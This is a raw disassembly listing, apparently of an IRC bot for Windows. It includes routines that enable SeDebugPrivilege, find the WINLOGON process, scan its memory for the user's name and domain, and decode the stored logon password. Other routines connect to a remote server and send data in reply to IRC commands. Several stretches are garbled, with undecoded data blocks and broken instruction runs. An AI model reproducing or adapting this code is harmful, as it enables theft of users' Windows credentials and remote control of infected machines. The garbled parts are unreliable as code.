sub_416C90 proc near ; CODE XREF: seg000:00404005p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416CB1
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416BBE
add esp, 10h
jmp short loc_416D10
; ---------------------------------------------------------------------------
loc_416CB1: ; CODE XREF: sub_416C90+9j
push esi
push edi
push ebx
push ebx
call ds:dword_4CDB60 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41B6C5
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_4CDB60 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_416D07
loc_416CD5: ; CODE XREF: sub_416C90+75j
push offset aA_1 ; "A:\\"
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_416CF8
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416BBE
add esp, 10h
loc_416CF8: ; CODE XREF: sub_416C90+54j
push esi
call sub_41B1D0
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_416CD5
loc_416D07: ; CODE XREF: sub_416C90+43j
push edi
call sub_41B2A1
pop ecx
pop edi
pop esi
loc_416D10: ; CODE XREF: sub_416C90+1Fj
pop ebx
pop ebp
retn
sub_416C90 endp
; ---------------------------------------------------------------------------
byte_416D13 db 55h ; DATA XREF: seg000:004082EDo
dd 0EC81EC8Bh, 49Ch, 5308458Bh, 0A7B95756h, 8B000000h
dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h
dd 0FFFEEC85h, 89E850FFh, 33000044h, 5BC80DBh, 0FFFFFEEBh
dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4470h, 59C8859h
dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 43A548h, 0FB64858Dh
dd 68FFFFh, 50000002h, 4DEBE8h, 10C48300h, 75F85D39h, 858D5320h
dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h
dd 2BBCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h
dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h
dd 5AE8h, 858D5000h, 0FFFFFB64h, 43A52868h, 93E85000h
dd 8300004Ch, 5D3924C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2B5Eh
dd 8D14C483h, 0FFFB6485h, 97E850FFh, 0FFFFFFE4h, 68E8F075h
dd 59FFFF44h, 0D9E85359h, 3D006F91h, 555B5E5Fh, 0EC81EC8Bh
dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 0A58C68FFh
dd 50560043h, 4D1FE8h, 3D8B00h, 83004280h, 858D10C4h, 0FFFFFEBCh
dd 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 42AAE4BBh
dd 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh
dd 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh
dd 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh, 0BDE85056h
dd 0FF00004Ch, 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh
dd 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh
dd 0FF50FFFFh, 15FFFC75h, 42811Ch, 8F75C085h, 0E8FC75FFh
dd 6F9110h, 1475FFF5h, 0FDB8858Dh, 75FFFFFFh, 50565318h
dd 4C6BE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h
dd 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh
dd 0B4858D50h, 0FFFFFFFAh, 70681875h, 680043A5h, 200h
dd 4C2EE850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h
dd 875FF0Ch, 0FF2A0DE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh
dd 811C15FFh, 0C0850042h, 0E856B175h, 6F908Ch, 1C458B43h
dd 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F7D proc near ; DATA XREF: seg000:00403740o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
rep movsd
xor esi, esi
inc esi
mov [eax+90h], esi
call sub_41AACB
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416FBC
cmp eax, 2
jz short loc_416FBC
push offset unk_43A768
jmp loc_4170FB
; ---------------------------------------------------------------------------
loc_416FBC: ; CODE XREF: sub_416F7D+2Ej
; sub_416F7D+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419828
pop ecx
test eax, eax
pop ecx
jz loc_4170F6
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_4280B8 ; LoadLibraryA
mov esi, ds:dword_4280BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov ds:dword_4D6A2C, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov ds:dword_4D6A20, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov ds:dword_4D6C30, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov ds:dword_4D6A28, eax
call esi
mov ds:dword_4D6A24, eax
call sub_41714F
test eax, eax
mov [ebp+arg_0], eax
jz loc_4170C9
mov esi, ds:dword_428140
mov edi, 400h
mov ebx, offset dword_4D5A20
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4D6220
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D6C34
push [ebp+arg_0]
jnz short loc_417075
call sub_4172D8
jmp short loc_41707A
; ---------------------------------------------------------------------------
loc_417075: ; CODE XREF: sub_416F7D+EFj
call sub_41747C
loc_41707A: ; CODE XREF: sub_416F7D+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_4170C2
cmp ds:dword_4D6C34, 0
jnz short loc_4170A9
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_43A630
push 200h
push eax
call sub_41BB70
add esp, 18h
jmp short loc_4170DC
; ---------------------------------------------------------------------------
loc_4170A9: ; CODE XREF: sub_416F7D+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4170B9
call sub_4175A9
jmp short loc_4170BE
; ---------------------------------------------------------------------------
loc_4170B9: ; CODE XREF: sub_416F7D+133j
call sub_417640
loc_4170BE: ; CODE XREF: sub_416F7D+13Aj
pop ecx
push eax
jmp short loc_4170CE
; ---------------------------------------------------------------------------
loc_4170C2: ; CODE XREF: sub_416F7D+101j
push offset unk_43A5F4
jmp short loc_4170CE
; ---------------------------------------------------------------------------
loc_4170C9: ; CODE XREF: sub_416F7D+B6j
push offset unk_43A5C8
loc_4170CE: ; CODE XREF: sub_416F7D+143j
; sub_416F7D+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_4170DC: ; CODE XREF: sub_416F7D+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419828
pop ecx
pop ecx
push [ebp+var_8]
call near ptr 0B10000h
cmc
pop ebx
jmp short loc_417109
; ---------------------------------------------------------------------------
loc_4170F6: ; CODE XREF: sub_416F7D+4Ej
push offset unk_43A594
loc_4170FB: ; CODE XREF: sub_416F7D+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_417109: ; CODE XREF: sub_416F7D+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417130
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409966
add esp, 14h
loc_417130: ; CODE XREF: sub_416F7D+191j
lea eax, [ebp+var_29C]
push eax
call sub_4152AE
push [ebp+var_18]
call sub_40B287
pop ecx
pop ecx
push esi
call near ptr 0B10000h
pop esp
pop edi
pop esi
sub_416F7D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41714F proc near ; CODE XREF: sub_416F7D+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_42814C
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_428148
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call ds:dword_4D6A2C
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_428144 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call ds:dword_4D6A2C
test eax, eax
jnz short loc_41723C
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_41723C
xor ecx, ecx
mov ebx, ebp
inc ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_41723C
loc_4171D8: ; CODE XREF: sub_41714F+EBj
cmp word ptr [ebx+8], 5
jnz short loc_41722F
push 0
push 0
call ds:dword_4D6A20
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call ds:dword_4D6C30
test eax, eax
jnz short loc_417220
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D7CA
pop ecx
push eax
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_417254
loc_417220: ; CODE XREF: sub_41714F+AAj
test edi, edi
jz short loc_41722B
push edi
call ds:dword_4D6A28
loc_41722B: ; CODE XREF: sub_41714F+D3j
mov eax, [esp+28h+var_10]
loc_41722F: ; CODE XREF: sub_41714F+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_4171D8
loc_41723C: ; CODE XREF: sub_41714F+6Dj
; sub_41714F+7Aj ...
xor edi, edi
loc_41723E: ; CODE XREF: sub_41714F+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_428144 ; RtlFreeHeap
mov eax, edi
loc_41724C: ; CODE XREF: sub_41714F+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417254: ; CODE XREF: sub_41714F+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_4172BD
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_41726A: ; CODE XREF: sub_41714F+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D7CA
pop ecx
push eax
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4172D1
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D7CA
pop ecx
push eax
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4172AF
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4172AF: ; CODE XREF: sub_41714F+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_41726A
loc_4172BD: ; CODE XREF: sub_41714F+10Fj
test edi, edi
jz short loc_4172C8
push edi
call ds:dword_4D6A28
loc_4172C8: ; CODE XREF: sub_41714F+170j
mov edi, [esp+28h+var_4]
jmp loc_41723E
; ---------------------------------------------------------------------------
loc_4172D1: ; CODE XREF: sub_41714F+13Cj
xor eax, eax
jmp loc_41724C
sub_41714F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172D8 proc near ; CODE XREF: sub_416F7D+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call near ptr 0B10000h
idiv dword ptr [ebx]
mov byte ptr [ecx+775FC45h], 33h
shr cl, 78h
add [eax], eax
add [ebx+57530C45h], cl
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_428158 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_42814C
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_428148
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_428154
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417351
xor esi, esi
jmp loc_41746C
; ---------------------------------------------------------------------------
loc_417351: ; CODE XREF: sub_4172D8+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_428150 ; VirtualQueryEx
test eax, eax
jz loc_41745B
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_41745B
test [ebp+var_2B], 1
jnz loc_41745B ; CODE XREF: sub_4172D8+128j
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_41745B
loc_4173B4: ; CODE XREF: sub_4172D8+110j
push edi
push offset dword_4D5A20
call sub_426A24
pop ecx
test eax, eax
pop ecx
jnz short loc_4173DC
lea eax, [edi+200h]
push eax
push offset dword_4D6220
call sub_426A24
pop ecx
test eax, eax
pop ecx
jz short loc_4173EC
loc_4173DC: ; CODE XREF: sub_4172D8+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jb short loc_4173B4
jmp short loc_41745B
; ---------------------------------------------------------------------------
loc_4173EC: ; CODE XREF: sub_4172D8+102j
test edi, edi
jz short loc_41745B
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call near ptr 0B10000h
loop near ptr loc_417384+3
sal byte ptr [edx-73h], 45h
fcom qword ptr [eax-73h]
inc ebp
in al, dx
push eax
call near ptr 0B10000h
adc eax, 1074C085h
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
movzx eax, byte ptr [edi+42Dh]
mov ds:dword_4D6C40, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov ds:dword_4D6C38, eax
mov ds:dword_4D6C3C, edi
loc_41745B: ; CODE XREF: sub_4172D8+90j
; sub_4172D8+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_428144 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_41746C: ; CODE XREF: sub_4172D8+74j
push [ebp+var_4]
call ds:dword_42806C ; CloseHandle
pop edi
mov eax, esi
pop ebx
pop esi
leave
retn
sub_4172D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41747C proc near ; CODE XREF: sub_416F7D:loc_417075p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push [ebp+arg_0]
push 0
push 410h
call near ptr 0B10000h
wait
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_41749B
leave
retn
; ---------------------------------------------------------------------------
loc_41749B: ; CODE XREF: sub_41747C+1Bj
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_428158 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417563
mov edi, ds:dword_42814C
loc_4174C5: ; CODE XREF: sub_41747C+E1j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_428150 ; VirtualQueryEx
test eax, eax
jz short loc_417551
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_417557
test [ebp+var_13], 1
jnz short loc_417557
push ecx
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_428148 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 0B10000h
pop edi
test eax, eax
jz short loc_417543
push offset dword_4D5A20
push esi
call sub_426A24
pop ecx
test eax, eax
pop ecx
jnz short loc_417543
lea eax, [esi+400h]
push offset dword_4D6220
push eax
call sub_426A24
pop ecx
test eax, eax
pop ecx
jz short loc_417575
loc_417543: ; CODE XREF: sub_41747C+9Dj
; sub_41747C+AEj
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_428144 ; RtlFreeHeap
jmp short loc_417557
; ---------------------------------------------------------------------------
loc_417551: ; CODE XREF: sub_41747C+5Bj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_417557: ; CODE XREF: sub_41747C+6Fj
; sub_41747C+75j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4174C5
loc_417563: ; CODE XREF: sub_41747C+3Dj
xor esi, esi
loc_417565: ; CODE XREF: sub_41747C+12Bj
push [ebp+arg_0]
call ds:dword_42806C ; CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417575: ; CODE XREF: sub_41747C+C5j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov ds:dword_4D6C38, ebx
mov ds:dword_4D6C3C, eax
cmp [eax], cl
jnz short loc_417597
cmp [eax+1], cl
jz short loc_41759F
loc_417597: ; CODE XREF: sub_41747C+114j
; sub_41747C+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417597
loc_41759F: ; CODE XREF: sub_41747C+119j
mov eax, [ebp+arg_4]
xor esi, esi
inc esi
mov [eax], ecx
jmp short loc_417565
sub_41747C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175A9 proc near ; CODE XREF: sub_416F7D+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, ds:dword_4D6C34
push esi
mov esi, ds:dword_42814C
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_428148 ; RtlAllocateHeap
mov ecx, ds:dword_4D6C34
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push ds:dword_4D6C3C
push eax
call sub_41C500
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr ds:dword_4D6C40
push eax
call ds:dword_4D6A24
push [ebp+var_4]
mov edi, offset dword_4D6A30
push offset dword_4D5A20
push offset dword_4D6220
push [ebp+arg_0]
push offset dword_43A7B8
push 200h
push edi
call sub_41BB70
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_428144 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4175A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417640 proc near ; CODE XREF: sub_416F7D:loc_4170B9p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, ds:dword_4D6C34
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_42814C ; GetProcessHeap
push eax
call ds:dword_428148 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D6220
mov edi, 200h
mov esi, offset dword_4D5820
loc_417686: ; CODE XREF: sub_417640+FAj
mov eax, ds:dword_4D6C34
add eax, eax
push eax
push ds:dword_4D6C3C
push [ebp+var_14]
call sub_41C500
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call ds:dword_4D6A24
mov eax, ds:dword_4D6C34
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176FB
loc_4176C3: ; CODE XREF: sub_417640+B3j
cmp [ebp+var_8], 0
jz short loc_417718
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_4176E7
cmp byte ptr [ecx+1], 0
jnz short loc_4176E7
cmp dl, 20h
jnb short loc_4176E1
and [ebp+var_8], 0
loc_4176E1: ; CODE XREF: sub_417640+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_4176EB
loc_4176E7: ; CODE XREF: sub_417640+90j
; sub_417640+96j
and [ebp+var_8], 0
loc_4176EB: ; CODE XREF: sub_417640+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_4176C3
cmp [ebp+var_8], 0
jz short loc_417718
loc_4176FB: ; CODE XREF: sub_417640+81j
push [ebp+var_14]
push offset dword_4D5A20
push ebx
push [ebp+arg_0]
push offset dword_43A7B8
push edi
push esi
call sub_41BB70
add esp, 1Ch
jmp short loc_417730
; ---------------------------------------------------------------------------
loc_417718: ; CODE XREF: sub_417640+87j
; sub_417640+B9j
push offset dword_4D5A20
push ebx
push [ebp+arg_0]
push offset dword_43A808
push edi
push esi
call sub_41BB70
add esp, 18h
loc_417730: ; CODE XREF: sub_417640+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417686
push [ebp+var_14]
push 0
call ds:dword_42814C ; GetProcessHeap
push eax
call ds:dword_428144 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417759 proc near ; CODE XREF: seg000:004162FFp
; sub_41791B+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_4CDC78 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4177D5
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call ds:dword_4CDBF8 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_4CDC38 ; inet_addr
cmp eax, esi
jnz short loc_4177BA
push [ebp+arg_0]
call ds:dword_4CDC7C ; gethostbyname
test eax, eax
jz short loc_4177D5
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_4177BA: ; CODE XREF: sub_417759+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_4CDBA0 ; connect
cmp eax, esi
jnz short loc_4177D9
push edi
call ds:dword_4CDC90 ; closesocket
loc_4177D5: ; CODE XREF: sub_417759+1Bj
; sub_417759+58j
mov eax, esi
jmp short loc_4177DB
; ---------------------------------------------------------------------------
loc_4177D9: ; CODE XREF: sub_417759+73j
mov eax, edi
loc_4177DB: ; CODE XREF: sub_417759+7Ej
pop edi
pop esi
leave
retn
sub_417759 endp
; =============== S U B R O U T I N E =======================================
sub_4177DF proc near ; CODE XREF: seg000:00404DA4p
; seg000:00404E0Dp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42B0FC ; "\n"
push edi
call sub_41C0B0
pop ecx
mov esi, offset dword_4D6C4C
pop ecx
loc_4177F7: ; CODE XREF: sub_4177DF+42j
cmp dword ptr [esi-4], 1
jnz short loc_417815
cmp dword ptr [esi], 0
jbe short loc_417815
push 0
push edi
call sub_41B1D0
pop ecx
push eax
push edi
push dword ptr [esi]
call ds:dword_4CDC48 ; send
loc_417815: ; CODE XREF: sub_4177DF+1Cj
; sub_4177DF+21j
add esi, 210h
cmp esi, offset dword_4DD36C
jl short loc_4177F7
pop edi
pop esi
retn
sub_4177DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417826 proc near ; CODE XREF: sub_41791B+14Fp
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42E0C8 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C2E4
xor edi, edi
pop ecx
inc edi
pop ecx
mov [ebp+var_20], eax
xor ebx, ebx
loc_41784A: ; CODE XREF: sub_417826+35j
push esi
push ebx
call sub_41C2E4
mov [ebp+edi*4+var_20], eax
inc edi
pop ecx
cmp edi, 8
pop ecx
jl short loc_41784A
cmp [ebp+var_20], ebx
mov esi, [ebp+var_1C]
jnz short loc_417871
cmp esi, ebx
jnz short loc_417871
xor eax, eax
inc eax
jmp loc_417916
; ---------------------------------------------------------------------------
loc_417871: ; CODE XREF: sub_417826+3Dj
; sub_417826+41j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C260
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_41789B
lea eax, [ebp+var_220]
push offset dword_43B41C
push eax
call sub_41BA76
add esp, 0Ch
jmp short loc_4178F5
; ---------------------------------------------------------------------------
loc_41789B: ; CODE XREF: sub_417826+5Dj
push offset a433 ; "433"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
push esi
push offset dword_43B418
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_417914
loc_4178BC: ; CODE XREF: sub_417826+83j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_41B780
lea eax, [ebp+var_420]
push eax
call sub_417B38
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset dword_43B40C
push eax
call sub_41BA76
add esp, 1Ch
loc_4178F5: ; CODE XREF: sub_417826+73j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
loc_417914: ; CODE XREF: sub_417826+94j
xor eax, eax
loc_417916: ; CODE XREF: sub_417826+46j
pop edi
pop esi
pop ebx
leave
retn
sub_417826 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41791B proc near ; DATA XREF: sub_417ABA+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BD10
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
xor edi, edi
push ds:dword_4D6E54[esi]
lea eax, dword_4D6C54[esi]
inc edi
push eax
mov ds:dword_4D6C48[esi], edi
call sub_417759
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov ds:dword_4D6C4C[esi], eax
